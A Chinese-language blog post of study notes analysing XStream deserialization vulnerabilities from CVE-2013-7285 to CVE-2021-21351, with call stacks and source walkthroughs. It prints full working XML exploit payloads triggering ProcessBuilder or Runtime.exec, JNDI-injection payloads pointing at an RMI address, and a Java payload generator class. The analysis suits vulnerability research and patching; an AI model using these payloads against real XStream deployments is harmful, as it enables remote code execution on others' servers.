Xstream反序列化漏洞研究笔记

用去年写的笔记混点博客kpi...


一直没有详细学习过XStream漏洞,感觉和原生反序列化反射触发私有readObject以及fastjson触发setter/getter都挺不一样的,觉得很有意思,做一下学习记录。

CVE-2013-7285

这个编号是XStream的第一个cve编号,经典的EventHandler利用链,它的利用方式是在反序列化解析xml的过程中对绑定EventHandler的动态代理对象调用其绑定接口的方法从而触发到EventHandler的invoke方法,最终触发了命令执行

先上payload,该payload可利用版本为 1.3.1<XStream<1.4 1.4.5<=XStream<=1.4.6或=1.4.10:

<sorted-set>
    <string>foo</string>
    <dynamic-proxy> <!-- Proxy 动态代理,handler使用EventHandler -->
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>open</string>
                    <string>/Applications/Calculator.app</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

作为第一个cve编号,分析漏洞的过程中写详细一点,梳理一下Xstream反序列化的整个流程

在com.thoughtworks.xstream.core.TreeUnmarshaller#start处下断点,前面不涉及关键代码,从此处开始解析xml,我们分析这个cve的同时分析一下Xstream解析的流程

跟到HierarchicalStreams#readClassType,在这里获取当前节点并返回和其对应的类,也就是StortedSet

sorted-set是别名,Xstream初始化时会定义

返回后接着来到TreeUnmarshaller#convertAnother,converter为null,调用DefaultConverterLookup#lookupConverterForType寻找对应类型的converter。在此之前还会调用defaultImplementationOf方法去在mapper对象中去寻找接口的实现类,这里返回java.util.TreeSet

继续跟进,在这里遍历XStream中注册好的converters,

然后调用converter的canConvert方法寻找对应类型的转换器,找到TreeSetConverter并将类和converter存储到map中

接着略过不重要的步骤,调用了Object result = converter.unmarshal(reader, this); ,跟到TreeSetConverter#unmarshal,这是核心的反序列化方法

 public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
        TreeSet result = null;
        final TreeMap treeMap;
        Comparator unmarshalledComparator = treeMapConverter.unmarshalComparator(reader, context, null);
        boolean inFirstElement = unmarshalledComparator instanceof Mapper.Null;
        Comparator comparator = inFirstElement ? null : unmarshalledComparator;
        if (sortedMapField != null) {
            TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator);
            Object backingMap = null;
            try {
                backingMap = sortedMapField.get(possibleResult);
            } catch (IllegalAccessException e) {
                throw new ConversionException("Cannot get backing map of TreeSet", e);
            }
            if (backingMap instanceof TreeMap) {
                treeMap = (TreeMap)backingMap;
                result = possibleResult;
            } else {
                treeMap = null;
            }
        } else {
            treeMap = null;
        }
        if (treeMap == null) {
            final PresortedSet set = new PresortedSet(comparator);
            result = comparator == null ? new TreeSet() : new TreeSet(comparator);
            if (inFirstElement) {
                // we are already within the first element
                addCurrentElementToCollection(reader, context, result, set);
                reader.moveUp();
            }
            populateCollection(reader, context, result, set);
            if (set.size() > 0) {
                result.addAll(set); // comparator will not be called if internally optimized
            }
        } else {
            treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
        }
        return result;
    }

依然是略过不重要的部分来到 treeMapConverter.populateTreeMap方法

在红框的部分首先调用putCurrentEntryIntoMap,接着往后解析xml然后调用populateMap(reader, context, result, sortedMap),这里直接贴一部分跟进去的调用栈

unmarshal:256, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) [4]
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshallField:474, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
doUnmarshal:406, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:257, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) [3]
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:127, DynamicProxyConverter (com.thoughtworks.xstream.converters.extended)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core) [2]
convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
readItem:71, AbstractCollectionConverter (com.thoughtworks.xstream.converters.collections)
addCurrentElementToCollection:98, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateCollection:91, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateCollection:85, CollectionConverter (com.thoughtworks.xstream.converters.collections)
populateMap:104, TreeSetConverter$1 (com.thoughtworks.xstream.converters.collections)
populateTreeMap:116, TreeMapConverter (com.thoughtworks.xstream.converters.collections)

populateMap调用CollectionConverter#populateCollection,再接着调用addCurrentElementToCollection,通过看执行堆栈和源码可以看出这是在循环遍历子标签并将其转换成对应的类,然后重复之前的流程,即寻找对应的convert并调用对应Convert的unmarshal方法,unmarshal即是反序列化方法。

比如在DynamicProxyConverter#unmarshal中,就是解析子标签中的interface节点和handler节点,构建出对应的动态代理对象。

上述流程执行完毕后回到TreeMapConverter#populateTreeMap,执行result.putALL(sortedMap),此时sortedMap存着两个对象(为了后续满足comapreTo的条件)其中一个是动态代理对象,h是EventHandler

这里执行result.putAll,接着往下跟,先贴调用栈

invokeInternal:449, EventHandler (java.beans)
access$000:279, EventHandler (java.beans)
run:430, EventHandler$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:428, EventHandler (java.beans)
compareTo:-1, $Proxy0 (com.sun.proxy)
put:568, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)

到了TreeMap#put方法,而这里对动态代理对象调用了compareTo方法,触发动态代理机制,调用EventHandler的invoke方法

在invoke方法中调用invokeInternal方法,代码如下

 private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
        String methodName = method.getName();
        if (method.getDeclaringClass() == Object.class)  {
            // Handle the Object public methods.
            if (methodName.equals("hashCode"))  {
                return new Integer(System.identityHashCode(proxy));
            } else if (methodName.equals("equals")) {
                return (proxy == arguments[0] ? Boolean.TRUE : Boolean.FALSE);
            } else if (methodName.equals("toString")) {
                return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode());
            }
        }

        if (listenerMethodName == null || listenerMethodName.equals(methodName)) {
            Class[] argTypes = null;
            Object[] newArgs = null;

            if (eventPropertyName == null) {     // Nullary method.
                newArgs = new Object[]{};
                argTypes = new Class<?>[]{};
            }
            else {
                Object input = applyGetters(arguments[0], getEventPropertyName());
                newArgs = new Object[]{input};
                argTypes = new Class<?>[]{input == null ? null :
                                       input.getClass()};
            }
            try {
                int lastDot = action.lastIndexOf('.');
                if (lastDot != -1) {
                    target = applyGetters(target, action.substring(0, lastDot));
                    action = action.substring(lastDot + 1);
                }
                Method targetMethod = Statement.getMethod(
                             target.getClass(), action, argTypes);
                if (targetMethod == null) {
                    targetMethod = Statement.getMethod(target.getClass(),
                             "set" + NameGenerator.capitalize(action), argTypes);
                }
                if (targetMethod == null) {
                    String argTypeString = (argTypes.length == 0)
                        ? " with no arguments"
                        : " with argument " + argTypes[0];
                    throw new RuntimeException(
                        "No method called " + action + " on " +
                        target.getClass() + argTypeString);
                }
                return MethodUtil.invoke(targetMethod, target, newArgs);
            }
            catch (IllegalAccessException ex) {
                throw new RuntimeException(ex);
            }
            catch (InvocationTargetException ex) {
                Throwable th = ex.getTargetException();
                throw (th instanceof RuntimeException)
                        ? (RuntimeException) th
                        : new RuntimeException(th);
            }
        }
        return null;
    }

根据动态代理机制,这里的method参数值为compareTo,最终走到第48行,反射调用java.lang.ProcessBuilder的start方法执行命令

这个利用链的核心是因为XStream存在DynamicProxyConverter转换器,该转换器可以将XML中dynamic-proxy标签内容转换成对应动态代理对象,而当对动态代理对象调用了dynamic-proxy标签内的interface标签指向的接口中声明的方法,根据动态代理机制会触发对应handler也就是dynamic-proxy标签下handler节点的EventHandler中的invoke方法。

Poc2:

该payload可利用版本为1.3.1<XStream<=1.4.6或=1.4.10

<tree-map>
    <entry>
        <string>fookey</string>
        <string>foovalue</string>
    </entry>
    <entry>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="java.beans.EventHandler">
                <target class="java.lang.ProcessBuilder">
                    <command>
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                    </command>
                </target>
                <action>start</action>
            </handler>
        </dynamic-proxy>
        <string>good</string>
    </entry>
</tree-map>

poc1不能用于1.4-1.4.4原因是因为在其TreeSetConverter#unmarshal中,sortedMapField为null,导致treeMap被设置为null

treeMap为null导致在接下来的流程中无法进入到treeMapConverter#populateTreeMap

CVE-2020-26217

这是继CVE-2013-7285后的第二个rce的cve编号,通过一个黑名单之外的gadget,可以成功绕过之前的补丁造成远程命令执行。包括1.4.13在内的所有版本都会受到漏洞的影响。

poc如下

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>open</string>
                          <string>-a</string>
                          <string>Calculator</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

使用payload调试,直接在ProcessBuilder#start处打上断点,得到如下的调用栈

start:1016, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
filter:613, ImageIO$ContainsFilter (javax.imageio)
advance:834, FilterIterator (javax.imageio.spi)
next:852, FilterIterator (javax.imageio.spi)
nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:110, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:121, NativeString (jdk.nashorn.internal.objects)
hashCode:117, NativeString (jdk.nashorn.internal.objects)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1349, XStream (com.thoughtworks.xstream)
fromXML:1299, XStream (com.thoughtworks.xstream)

如果前面说CVE-2013-7285中的链最终总结其实就是两个treeMap/treeSet对象在TreeMapConverter中调用AbstractMap的putAll方法,然后从putAll跟进去后对其中的动态代理对象key调用compareTo导致触发其invoke方法最终rce。

那么这个绕过就是两个map对象反序列化时在MapConverter中最终调用put方法,然后再从hashcode方法一路触发到javax.imageio.ImageIO$ContainsFilter中的filter方法,这里method.invoke触发了命令执行

根据回顾XStream反序列化漏洞这篇文章来看,从MapConverter中调用put到ImageIO$ContainsFilter#filter应该是在此cve之前就出现的利用链,但之前的利用链中用到的javax.crypto.CipherInputStream类在1.4.10时被黑名单禁用掉了,此cve将原来链中需要调用的javax.crypto.CipherInputStream#read方法换成了java.io.SequenceInputStream#read,绕过了黑名单。

java.io.SequenceInputStream#read中调用了其nextStream方法,其中e可控,payload里可以看到值为javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator


跟到javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator,这里调用iterator.next()

根据回顾XStream反序列化漏洞可知这里又链接上了文中的链,即javax.imageio.spi.FilterIterator#next

这个cve利用的是MapConverter,本质是对已有的利用链中黑名单的部分做了绕过。

CVE-2021-21344

这是Xstream第三个rce的编号,Xstream官网上的这个payload超级长

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                      <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
                      <uriProperties/>
                      <attributeProperties/>
                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                        <getter>
                          <class>com.sun.rowset.JdbcRowSetImpl</class>
                          <name>getDatabaseMetaData</name>
                          <parameter-types/>
                        </getter>
                      </inheritedAttWildcard>
                    </bi>
                    <tagName/>
                    <context>
                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                        <outer-class reference='../..'/>
                      </marshallerPool>
                      <nameList>
                        <nsUriCannotBeDefaulted>
                          <boolean>true</boolean>
                        </nsUriCannotBeDefaulted>
                        <namespaceURIs>
                          <string>1</string>
                        </namespaceURIs>
                        <localNames>
                          <string>UTF-8</string>
                        </localNames>
                      </nameList>
                    </context>
                  </bridge>
                </bridge>
                <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                  <javax.sql.rowset.BaseRowSet>
                    <default>
                      <concurrency>1008</concurrency>
                      <escapeProcessing>true</escapeProcessing>
                      <fetchDir>1000</fetchDir>
                      <fetchSize>0</fetchSize>
                      <isolation>2</isolation>
                      <maxFieldSize>0</maxFieldSize>
                      <maxRows>0</maxRows>
                      <queryTimeout>0</queryTimeout>
                      <readOnly>true</readOnly>
                      <rowSetType>1004</rowSetType>
                      <showDeleted>false</showDeleted>
                      <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                      <params/>
                    </default>
                  </javax.sql.rowset.BaseRowSet>
                  <com.sun.rowset.JdbcRowSetImpl>
                    <default>
                      <iMatchColumns>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                      </iMatchColumns>
                      <strMatchColumns>
                        <string>foo</string>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                      </strMatchColumns>
                    </default>
                  </com.sun.rowset.JdbcRowSetImpl>
                </jaxbObject>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

第一眼就能发现JdbcRowSetImpl这个关键类,看来这个最终利用是jndi注入了,比较有意思的是,这个rce不像前面分析的两个rce,它出现了serialization这个关键词,难道说跟原生反序列化还有关系?

前面说过Xstream对应不同类型的类会有不同的converter,这是在它初始化时注册的

查看代码会发现其中存在一个SerializableConverter,前面分析了Xstream反序列化的流程,所以我们直接看它的unmarshal方法,其中调用doUnmarshal方法,跟进去,发现对实现了Serializable的类调用了callReadObject方法

而该方法会反射调用readObject方法

比如我写一个Person类如下:

public class Person implements Serializable {

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        System.out.println("test");
    }
}

然后使用Xstream的fromXML来测试,就会发现触发了Person#readObject方法

那么这样一来,Xstream的攻击链就扩大到了可以使用任何原生的反序列化gadget,比如环境中假如存在commons-collections,就可以用ysoserial中的CommonsCollections链来攻击了,也就是说只要有依赖,ysoserial中的反序列链就可以用。
其实这里有问题,后续我在用gadgetinspector做自动链挖掘时发现由于注册converter顺序的不同导致某些链是用不了的,因为这个原因导致gadgetinspector的规则来挖Xstream反序列化链的结果也是有误报的,这里不细说了

这个CVE用的是和CommonsCollections2一样的起点,即java.util.PriorityQueue,CommonsCollections2这个利用链的核心是调用某个Comparator的compare方法,它用的是TransformingComparator,在compare方法中接着调用了InvokerTransformer#transform,最终达到rce的效果,但TransformingComparator和InvokerTransformer都是commons-collections里面才有的类,因此这里只能自己挖链

放个从readObject开始的执行堆栈吧

connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2971, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)

其实看了执行堆栈之后,我感觉这跟ysoserial已有的链确实没啥关系,毕竟后面的堆栈实在太深了。

CVE-2021-21344<Xstream<CVE-2021-29505

从CVE-2021-21344开始在Xstream的利用上扩展了原生反序列化,因此接下来为了方便理解,我将剩下的所有cve的利用链分为两类:原生反序列化利用链(SerializableConverter)和从其他converter开始的利用链

CVE-2021-39139CVE-2021-29505

先提一下这两个链,CVE-2021-39139本身就是jdk7u21这个链,需要jdk版本在7u21以下,而CVE-2021-29505的简化版其实就是JRMPClient这个链,而JRMPClient这个链单独用是没用的,必须依赖环境中有可以利用的其他的gadget,比如CommonsBeanutils1,问题是假如有CommonsBeanutils1依赖的环境,那完全可以直接把CommonsBeanutils1转成Xstream的payload,并且因CommonsBeanutils1导致的反序列化严格意义来说其实不算是Xstream自身的问题

这两个链不再具体分析,直接用ysoserial就可以生成Xstream的payload

CVE-2021-39144

先看官网上的payload,这条链是纯原生反序列化利用链,而且是直接执行命令,长度也不算太长,正好用来学习

<java.util.PriorityQueue serialization='custom'>
    <unserializable-parents/>
    <java.util.PriorityQueue>
        <default>
            <size>2</size>
        </default>
        <int>3</int>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class='sun.tracing.NullProvider'>
                <active>true</active>
                <providerType>java.lang.Comparable</providerType>
                <probes>
                    <entry>
                        <method>
                            <class>java.lang.Comparable</class>
                            <name>compareTo</name>
                            <parameter-types>
                                <class>java.lang.Object</class>
                            </parameter-types>
                        </method>
                        <sun.tracing.dtrace.DTraceProbe>
                            <proxy class='java.lang.Runtime'/>
                            <implementing__method>
                                <class>java.lang.Runtime</class>
                                <name>exec</name>
                                <parameter-types>
                                    <class>java.lang.String</class>
                                </parameter-types>
                            </implementing__method>
                        </sun.tracing.dtrace.DTraceProbe>
                    </entry>
                </probes>
            </handler>
        </dynamic-proxy>
        <string>whoami</string>
    </java.util.PriorityQueue>
</java.util.PriorityQueue>

放一个完整的调用堆栈,如下

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
uncheckedTrigger:58, DTraceProbe (sun.tracing.dtrace)
triggerProbe:269, ProviderSkeleton (sun.tracing)
invoke:178, ProviderSkeleton (sun.tracing)
compareTo:-1, $Proxy0 (com.sun.proxy)
siftDownComparable:704, PriorityQueue (java.util)
siftDown:690, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
unmarshal:1404, XStream (com.thoughtworks.xstream)
unmarshal:1383, XStream (com.thoughtworks.xstream)
fromXML:1349, XStream (com.thoughtworks.xstream)
fromXML:1299, XStream (com.thoughtworks.xstream)

这条链调用栈不算特别深,反写一下java代码吧

package ysoserial.payloads;

import com.thoughtworks.xstream.XStream;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.*;
import java.util.*;


public class Xstream39144 implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {



        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, null);
        // stub data for replacement later
        queue.add(1);
        queue.add(1);

        Class clazz = Comparable.class;
        Method method = clazz.getDeclaredMethod("compareTo", Object.class);
        Constructor con = Runtime.class.getDeclaredConstructor();
        con.setAccessible(true);
        Object runtime = con.newInstance();
        Method method1 = Runtime.class.getDeclaredMethod("exec",String.class);
        Constructor con1 = Class.forName("sun.tracing.NullProvider").getDeclaredConstructor(Class.class);
        con1.setAccessible(true);

        InvocationHandler nullProvider = (InvocationHandler)con1.newInstance(Comparable.class);
        Reflections.setFieldValue(nullProvider, "active", true);
        Map map = new HashMap();

        Object dTraceProbe = Reflections.newInstance("sun.tracing.dtrace.DTraceProbe",runtime,method1);
        map.put(method,dTraceProbe);
        Reflections.setFieldValue(nullProvider, "probes", map);

        Proxy s = (Proxy) Proxy.newProxyInstance(Xstream39144.class.getClassLoader(),Byte.class.getInterfaces(),nullProvider);
        
        final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        queueArray[0] = s;
        queueArray[1] = command;
        XStream xstream = new XStream();
        System.out.println(xstream.toXML(queue));

        return queue;
    }
    

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(Xstream39144.class, args);
    }

}

刚开始我在想,既然这条链是纯原生反序列化链,是否就意味着它在原生反序列化中也可以拿来使用,但是反写了java代码以后就会发现出现了一个致命的被忘记的问题

sun.tracing.NullProvider这个类没有实现Serializable接口,而这是java原生反序列必要的条件,而Xstream可以用这条链是Xstream在序列化时只对调用SerializableConverter的类判断是否实现Serializable接口这个条件,换句话说只要readObject起点类满足实现Serializable接口就行。

CVE-2021-21351

官网payload如下

<sorted-set>
    <javax.naming.ldap.Rdn_-RdnEntry>
        <type>ysomap</type>
        <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
            <m__DTMXRTreeFrag>
                <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
                    <m__size>-10086</m__size>
                    <m__mgrDefault>
                        <__overrideDefaultParser>false</__overrideDefaultParser>
                        <m__incremental>false</m__incremental>
                        <m__source__location>false</m__source__location>
                        <m__dtms>
                            <null/>
                        </m__dtms>
                        <m__defaultHandler/>
                    </m__mgrDefault>
                    <m__shouldStripWS>false</m__shouldStripWS>
                    <m__indexing>false</m__indexing>
                    <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
                        <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                            <javax.sql.rowset.BaseRowSet>
                                <default>
                                    <concurrency>1008</concurrency>
                                    <escapeProcessing>true</escapeProcessing>
                                    <fetchDir>1000</fetchDir>
                                    <fetchSize>0</fetchSize>
                                    <isolation>2</isolation>
                                    <maxFieldSize>0</maxFieldSize>
                                    <maxRows>0</maxRows>
                                    <queryTimeout>0</queryTimeout>
                                    <readOnly>true</readOnly>
                                    <rowSetType>1004</rowSetType>
                                    <showDeleted>false</showDeleted>
                                    <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                                    <listeners/>
                                    <params/>
                                </default>
                            </javax.sql.rowset.BaseRowSet>
                            <com.sun.rowset.JdbcRowSetImpl>
                                <default/>
                            </com.sun.rowset.JdbcRowSetImpl>
                        </fPullParserConfig>
                        <fConfigSetInput>
                            <class>com.sun.rowset.JdbcRowSetImpl</class>
                            <name>setAutoCommit</name>
                            <parameter-types>
                                <class>boolean</class>
                            </parameter-types>
                        </fConfigSetInput>
                        <fConfigParse reference='../fConfigSetInput'/>
                        <fParseInProgress>false</fParseInProgress>
                    </m__incrementalSAXSource>
                    <m__walker>
                        <nextIsRaw>false</nextIsRaw>
                    </m__walker>
                    <m__endDocumentOccured>false</m__endDocumentOccured>
                    <m__idAttributes/>
                    <m__textPendingStart>-1</m__textPendingStart>
                    <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
                    <m__pastFirstElement>false</m__pastFirstElement>
                </m__dtm>
                <m__dtmIdentity>1</m__dtmIdentity>
            </m__DTMXRTreeFrag>
            <m__dtmRoot>1</m__dtmRoot>
            <m__allowRelease>false</m__allowRelease>
        </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
    <javax.naming.ldap.Rdn_-RdnEntry>
        <type>ysomap</type>
        <value class='com.sun.org.apache.xpath.internal.objects.XString'>
            <m__obj class='string'>test</m__obj>
        </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

执行后的堆栈如下:

connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
parseSome:373, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
deliverMoreNodes:312, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
nextNode:814, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
_firstch:535, DTMDefaultBase (com.sun.org.apache.xml.internal.dtm.ref)
getStringValue:1294, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
str:207, XRTreeFrag (com.sun.org.apache.xpath.internal.objects)
toString:314, XObject (com.sun.org.apache.xpath.internal.objects)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
put:568, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:121, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
